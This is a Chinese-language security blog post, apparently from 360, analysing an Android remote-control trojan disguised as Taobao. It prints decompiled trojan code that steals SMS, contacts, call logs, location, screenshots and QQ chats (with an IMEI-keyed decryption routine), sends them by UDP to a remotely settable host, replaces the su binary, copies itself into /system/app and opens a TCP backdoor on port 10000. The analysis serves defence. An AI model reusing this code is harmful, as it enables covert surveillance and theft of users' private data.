09月26, 2014

假冒淘宝远控木马

一、木马介绍:

该木马具有很高的欺骗和隐藏性,在首次运行时并不会暴露自身身份,会通过打包udp数据包,将手机基本信息发送到指定的地址:www.baidu.com 端口: 8000,造成分析者困惑,以及欺骗沙箱。当经历过查杀期后,木马通过连接自己建立的后门,修改udp发送目的地,以及设置一些flag,来偷取用户的qq聊天记录,微信语音聊天记录,中码者的活动地址,短信收发信息,联系人信息等等。目前该木马还通过跟换包名,签名证书方式逃避杀软。但360手机卫士可全面查杀任何变种。

1

二、**详细分析:**

1.对AndroidManifest.xml文件分析

发现该app使用了大量危险权限,并对短信,系统启动,网络变化都进行监听。

<--!入口一主Activity-->
<activity android:label="@string/app_name" android:name="nitm.jescxys.robqbo.AndroidserviceActivity" android:theme="@android:style/Theme.NoDisplay">
     <intent-filter>
            <action android:name="android.intent.action.MAIN" />
            <category android:name="android.intent.category.INFO" />
     </intent-filter>
</activity>
<--!入口二系统系统广播监听-->
<receiver android:name="nitm.jescxys.robqbo.TimerReceiver">
     <intent-filter>
            <action android:name="android.intent.action.BOOT_COMPLETED" />
            <category android:name="android.intent.category.HOME" />
     </intent-filter>
</receiver>
<--!入口三短信包广播监听-->
<receiver android:name="nitm.jescxys.robqbo.AutoSMS">
     <intent-filter android:priority="1000">
            <action android:name="android.provider.Telephony.SMS_RECEIVED" />
     </intent-filter>
</receiver>
<--!入口四网路变化监听-->
<receiver android:name="nitm.jescxys.robqbo.NetWorkMonitor">
     <intent-filter>
            <action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
     </intent-filter>
</receiver>
<service android:name="TimerService" />

2.**首先从主Activity入口分析:**

  • 启动TimerService服务
  • 捆绑安装assets目录下的pingAnAccident3.0.apk文件(分析发现assets目录下并没有pingAnAccident3.0.apk文件)
    public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    this.setContentView(2130903040);
    this.startService(new Intent(((Context)this), TimerService.class));
    RetrieveApk retrieveApk = new RetrieveApk();  // 捆绑安装assets目录下的pingAnAccident3.0.apk
    if(!retrieveApk.MoveApk(((Context)this))) {
       this.finish();
    }
    else {
       retrieveApk.InstallPacket();
    }
    }
    
    3.**转入TimerService服务:**

TimerSerivce服务是此木马核心代码

  • 获取中码手机信息,如:设备ID,电话号码,imei号,注册的网络运营商等信息。
  • 配置木马的恶意行为,包括建立UDP对象,初始化连接ip,端口; 初始化手机位置信息对象,监听电话对象,手机截屏对象,手机qq信息记录对象,文件管理对象,短信监控对象
  • 运行命令接收线程控制手机,运行录音线程,初始化屏幕解锁与锁定recevier,以控制手机Gps状态。
  • 替换手机su文件,并拷贝木马准备的cp,screenhelper文件(也就是只能对root过后的手机下黑手),将获取到的手机号码,imsi,imei,等打包成udp数据包发送到指定站点
  • 建立后门.端口10000,黑客通过连接后门传送自己定义的指令,来控制手机,偷取信息
  • 时间任务器没30秒偷取手机设备信息,qq聊天信息,系统安装程序包,联系人,短信信息,通话记录,屏幕截图,中码者位置等等
    public void onCreate()
    {
    this.m_3gp = new config3g();
    this.m_wificonfig = new configwifi();
    this.GetConfig();  // m_strip 配置(“www.baidu.com”)
    this.GetVersion();  // 读取Assest目录下的,version.txt获取当前木马版本
    this.telephonyMgr = ((TelephonyManager)getSystemService("phone"));
    this.contentresolver = getContentResolver();
    this.m_Imei = this.telephonyMgr.getDeviceId();
    if (this.m_Imei == null)
      this.m_Imei = getDeviceId();
    this.m_Imsi = this.telephonyMgr.getSubscriberId();
    if (this.m_Imsi == null)
      this.m_Imsi = "";
    this.m_PhoneNum = this.telephonyMgr.getLine1Number();
    if (this.m_PhoneNum == null)
      this.m_PhoneNum = "";
    this.m_NetWorkName = this.telephonyMgr.getNetworkOperatorName();
    this.udp = new UDP();
    this.udp.Init(this.m_strip, Integer.valueOf(this.m_strport).intValue(), this.m_Imei);
    this.m_cont = getApplicationContext();
    this.m_su = new SU(this.m_cont);
    this.m_su.BeginSu(); //替换手机su文件,为后面执行命令准备
    if (this.sp.getLong("systemlog", 0L) == 0L)
    {
      String str2 = getPackageName();
      RootCmd("mount -o rw,remount /system\ncp /data/app/" + str2 + "*.apk /system/app/" + str2 + "-1.apk\nchmod 777 /system/app/" + str2 + "*.apk");
      //将木马拷贝到系统app目录下,伪装自己为系统核心软件
      this.editor.putLong("systemlog", 1L);
    }
    this.gsmLocation = new GsmLocation();
    this.gsmLocation.Init(this.telephonyMgr, this.udp, this);
    this.audio = new Audio();
    this.audio.Init(this.udp, this.telephonyMgr, this);
    this.screen = new Screen();
    AssetManager localAssetManager = getAssets();
    this.screen.Init(this.udp, this, localAssetManager);
    this.m_oldfile = new SendOldFile();
    this.m_oldfile.Init(this, this.udp);
    this.mqq = new mobiqq();
    if (this.m_Imei != null)
      this.mqq.Init(this.m_cont, this.m_Imei, this.udp, this, localAssetManager);
    this.CreateEnviromentAudioPath();  // 在存储卡上创建.tmp/environmentaudioaudio目录 并由this.m_envoromentaudiopath字段保存
    this.file = new FileManage();
    this.file.Init(this.udp, this);
    this.filetrans = new FileTrans();
    this.filetrans.Init(this.udp, this);
    this.sms = new Sms();
    this.sms.Init(this.udp, this.contentresolver, this);
    this.cmdThread = new RecvThread(this);
    this.cmdThread.start(); //建立命令接收线程,控制手机
    this.enaudioThread = new environmentaudio(this, this.udp);
    this.enaudioThread.start();
    if (this.m_screenreceiver == null)
    {
      this.m_screenreceiver = new ScreenActionReceiver();
      this.m_screenreceiver.Init(this.m_cont, this);
      IntentFilter localIntentFilter = new IntentFilter();
      localIntentFilter.addAction("com.emple.teacher.ACTION");
      registerReceiver(this.m_screenreceiver, localIntentFilter);
      this.m_screenreceiver.registerScreenActionReceiver(this.m_cont);
    }
    if (Environment.getExternalStorageState().equals("mounted"))
      this.m_srcardpath = Environment.getExternalStorageDirectory().getPath();
    servertrans.SetInstance(this);
    this.m_phonename = (Build.MODEL + "," + Build.VERSION.SDK + "," + Build.VERSION.RELEASE);
    Object[] arrayOfObject = new Object[7];
    arrayOfObject[0] = this.m_PhoneNum;
    arrayOfObject[1] = this.m_Imsi;
    arrayOfObject[2] = this.m_Imei;
    arrayOfObject[3] = this.m_phonename;
    arrayOfObject[4] = Integer.valueOf(this.m_oldfile.m_delefefile / 3600);
    arrayOfObject[5] = this.m_version;
    arrayOfObject[6] = this.m_strip;
    String str1 = String.format("HEART\n%s\n%s\n%s\n%s\n%d\n%s\n%s", arrayOfObject);
    this.udp.SendData(str1);  //发送当前中码手机信息
    DirTheard localDirTheard = new DirTheard(this.udp, this);
    Thread localThread = new Thread(localDirTheard);
    localThread.start();
    this.m_cmdThread = new TcpServer(this);  //建立后门
    if (this.m_cmdThread != null)
      this.m_cmdThread.start();
    this.mTimer = new Timer(); //建立时间任务,偷取中码手机短信,qq聊天记录,位置,通话记录,手机当前运行包,手机联系人信息等等
    this.mTimerTask = new TimerTask()
    {
      public void run()
      {
        if (TimerService.this.checkWIFI())
        {
          if (TimerService.this.needsendother())
          {
            if (TimerService.this.m_wificonfig.m_sysinfor) //木马通过tcp连接设置字段,以控制读取手机云心包信息,手机qq聊天记录等
              TimerService.this.GetSysInfo();
            if (TimerService.this.m_wificonfig.m_packet)
              TimerService.this.getPackets();
          }
          if (TimerService.this.m_wificonfig.m_contact)
            TimerService.this.GetContents(false);
          if (TimerService.this.m_wificonfig.m_msm)
            TimerService.this.sms.getSmsInPhone(false);
          if (TimerService.this.m_wificonfig.m_histallCall)
            TimerService.this.GetHistoryCall(false);
          if (TimerService.this.m_wificonfig.m_sceen)
            TimerService.this.screen.shot();
          if (TimerService.this.m_wificonfig.m_qq)
            TimerService.this.mqq.GetAllInfor();//获取qq聊天信息
          if (TimerService.this.m_wificonfig.m_sendoldaudio)
            TimerService.this.m_oldfile.CheckOldData();
          if (TimerService.this.m_wificonfig.m_gsm)
         TimerService.this.gsmLocation.GetGsmLocation(false);//获取中码这位置
        }
        while ((!TimerService.this.m_wificonfig.m_gsm) && (!TimerService.this.m_3gp.m_gsm));
        TimerService.this.gsmLocation.SaveLocation();
      }
    };
    this.mTimer.schedule(this.mTimerTask, 5000L, 30000);
    }
    
    替换手机su文件:

查看Assets文件夹,发现config中是三个elf文件。su用作root, cp用于拷贝文件,screenhelper用于屏幕截屏。

23

调用BeginSu函数

public void BeginSu() {
        this.ReleaseConfig();
        String packageName = "/data/data/" + this.m_cont.getApplicationContext().getPackageName() +
                File.separator;
        String screenhelperStr = String.valueOf(packageName) + "screenhelper";
        String cpStr = String.valueOf(packageName) + "cp";
        String suStr = String.valueOf(packageName) + "su";
        ArrayList SuShellPath = SU.findSuShellBin("su");
        SuShellPath.add("/system/bin/su");
        int i;
        for(i = 0; i < SuShellPath.size(); ++i) {
            this.CoverSu(SuShellPath.get(i), suStr);  // 覆盖原有系统中的su文件为病毒su
        }
        if(SU.findSuShellBin("cp").size() == 0) {
            this.CoverData(cpStr, "/system/bin/cp");  // 拷贝病毒cp文件,进入系统目录,已准备后面的命令执行
        }
        if(SU.findSuShellBin("screenhelper").size() == 0) {
            this.CoverData(screenhelperStr, "/system/bin/screenhelper");  // 拷贝病毒cp文件,进入系统目录,已准备后面的命令执行
        }
    }

CoverSu函数覆盖原有的su文件

public void CoverSu(String oldsu, String mysu) {
        File trojanSuPath = new File(mysu);
        if((trojanSuPath.exists()) && trojanSuPath.length() != new File(oldsu).length()) {
            //execRootCmd函数 先调用Runtime.getRuntime().exec("su");木马获取root权限,然后执行出入的参数命令
            SU.execRootCmd("mount -o remount rw /system\n rm " + oldsu + "\n " + "cat " + mysu + " >"
                     + oldsu + "\n chmod 6755 " + oldsu);
        }
    }

将木马伪装成系统应用

this.RootCmd("mount -o rw,remount /system\ncp /data/app/" + v15 + "*.apk /system/app/" +v15 + "-1.apk\nchmod 777 /system/app/" + v15 + "*.apk");

接下来在SD卡下建立文件记录手机位置,通话,录音,手机截屏图

  • 建立.tmp/.tmpgsm.data文件记录Gsm位置信息
  • 建立.tmp/audio/time .tmp3gp文件对通话录音
  • 建立.tmp/screen/time.png截屏图片.
  • 建立.tmp/environmentaudioaudio文件
  • 建立.tmp/mobiqq/databases/文件

4

RecvThread线程,通过udp传输命令,完成以下控制

  • “getfile”命令 会获取微信的聊天记录包括音频,图片文件;
  • “sysinfo”命令获取当前手机系统信息包括设备Mac,电话号码,连接网络名等;
  • “gsmLocation”获取中码人当前活动位置;
  • “getpackets”命令获取手机安装的程序;
  • “contact”获取手机中联系人信息;
  • “historycall”获取手机通话记录;
  • “getsms”获取手机短信息;
  • “setremoteip”设置远程ip,”queryremoteip”查询远程ip,也就是通过tcp连接来设置和查询m_strip字段,该字段是udp数据发送包的目的地址;
  • “getmobileqq”获取手机;
  • “uninstall”卸载自身;
  • “environmentaudio”手机录音控制;
  • “SendMsg”获取短信箱内容,并发送到指定号码等等

下图我们可以了解到,起初木马将获取的手机号,Imsi,imei号等打包成udp数据包发送到www.baidu.com 端口:8000去,咦怎么是百度,还以为是木马首先污染了dns隐射表,可是查看host并没有异常情况。通过上面的分析发现在建立的RecvThread线程中,通过获取“setremoteip”命令,设置m_strip字段,这样随时远程修改ip地址,增加查杀和分析难度。

5

接下来木马在中马手机中装上后门,同样通过远程连接控制手机

 this.m_cmdThread = new TcpServer(this);
        if(this.m_cmdThread != null) {
            this.m_cmdThread.start();
        }
public void run() {
    try {
        label_1:
            Boolean bRet = Boolean.valueOf(false);
            Log.v("zfw", "server port 10000");
            ServerSocket serverSocket = new ServerSocket(10000, 100);
        label_8:
            if(bRet.booleanValue()) {
                goto label_10;
            }
            Log.v("zfw", "accept loop");
            Socket socket = serverSocket.accept();
            Log.v("zfw", "new socket");
            new TCPCLIENT(socket, this.m_Service);
            goto label_8
    }
}

建立时间任务器,每隔30秒执行一次,木马作者通过设置一系列的flag,来控制当前需要获取的哪些信息,并且只在wifi网络环境下偷取数据

 this.mTimer = new Timer();
        this.mTimerTask = new TimerTask() {
            public void run() {
                TimerService.this.udp.SendData(String.format("HEART\n%s\n%s\n%s\n%s\n%d\n%s\n%s", TimerService
                        .this.m_PhoneNum, TimerService.this.m_Imsi, TimerService.this.m_Imei, TimerService
                        .this.m_phonename, Integer.valueOf(TimerService.this.m_oldfile.m_delefefile /
                        3600), TimerService.this.m_version, TimerService.this.m_strip));
                if(TimerService.this.checkWIFI()) {//只在wifi环境下偷取数据
                   if(TimerService.this.m_wificonfig.m_contact) { //获取联系人flag
                        TimerService.this.GetContents(false);
                   }
                   if(TimerService.this.m_wificonfig.m_histallCall) {获取通话记录flag
                        TimerService.this.GetHistoryCall(false);
                   }
                   if(TimerService.this.m_wificonfig.m_sceen) {屏幕截屏flag
                        TimerService.this.screen.shot();
                   }
                   if(TimerService.this.m_wificonfig.m_qq) { 获取qq聊天记录,好友,所加群信息的flag
                        TimerService.this.mqq.GetAllInfor();
                   }
/////////////////////////////////等等///////////////////////////////////////////////////////////////////////////////////////////////
               }
          }
      }
}

调用GetAllInfor()获取qq聊天记录,好友等信息

public void GetAllInfor() {
        if(this.m_initok) {
            this.m_dblist = this.MoveDbFile();  // 获取qqNum.db列表
            int i;
            for(i = 0; i < this.m_dblist.size(); ++i) {
                Object fileObj = this.m_dblist.get(i);
                String qqNum = new File(((String)fileObj)).getName();
                int pos = qqNum.lastIndexOf(46);
                if(pos > 0) {
                    qqNum = qqNum.substring(0, pos);
                    DBmqq dbmqq = new DBmqq(this.m_cont, ((String)fileObj));
                    this.Getchat(((String)fileObj), dbmqq, qqNum);  // 获取此qq号码聊天信息
                    this.GetGroups(dbmqq, qqNum);  // 获取此qq号码加的群
                    this.GetFriends(dbmqq, qqNum);  // 获取此qq号码好友
                }
            }
        }
    }

MoveDbFile函数获取手机中qq号码列表(可能手机中登录过多个qq号),最终调用GetChat,GetGroups,GetFriends获取qq聊天信息,好友等信息

public void Getchat(String dbfullname, DBmqq qqdb, String loginqqid) {
        List tableName = qqdb.getTablename();
        int i;
        for(i = 0; i < tableName.size(); ++i) {
            Object objName = tableName.get(i);
            if(((String)objName).contains("mr_friend_")) {
                this.GetQQchat(((String)objName), qqdb, loginqqid, false);
            }
            else if(((String)objName).contains("mr_troop_")) {
                this.GetQQchat(((String)objName), qqdb, loginqqid, true);
            }
        }
    }

解密QQ加密字符串,key为15位的手机串号字符串,以下是解密函数。

//lpIn-输入加密的数据流 从sqlite中getblob得到

//nLen-输入缓冲区的长度

//key-为手机imei号

//flg-手机qq是否为新版本

public String DecrptMobileQQMsg(byte[] lpIn, int nLen, byte[] lpKey, boolean flg) {  // flg=true时解密老版QQ
        int keyLen = lpKey.length;
        String strRet = new String("");
        if(nLen > 0) {
            byte[] decrptData = new byte[nLen * 2 + 2];
            int j = 0;
            int i;
            for(i = 0; j < nLen; ++i) {
                if(flg) {
                    int num = lpIn[j];
                    if(num < 0) {
                        num = lpIn[j] & 255;
                    }
                    if(num < 128) {
                        goto label_41;
                    }
                    if(j + 2 >= nLen) {
                        break;
                    }
                    decrptData[j] = lpIn[j];
                    decrptData[j + 1] = lpIn[j + 1];
                    j += 2;
                }
            label_41:
                if(j >= nLen) {
                    break;
                }
                decrptData[j] = ((byte)(lpIn[j] ^ lpKey[i % keyLen]));
                ++j;
            }
..........................................................................................

以下是木马记录的一些信息

通话录音:

6

屏幕截屏:

7

三、总结:

该木马属于远控潜伏者,通过判断中码者手机情况(是否装有杀软等),来远程执行命令操控手机,最终偷取用户大量隐私,手机用户在下载手机应用最好到360手机助手等安全可靠的应市场或者官方网站下载,同时安装360手机卫士,全面查杀此木马的各种变种。

本文链接:http://blogs.360.cn/post/fake-taobao-rat.html

-- EOF --

Comments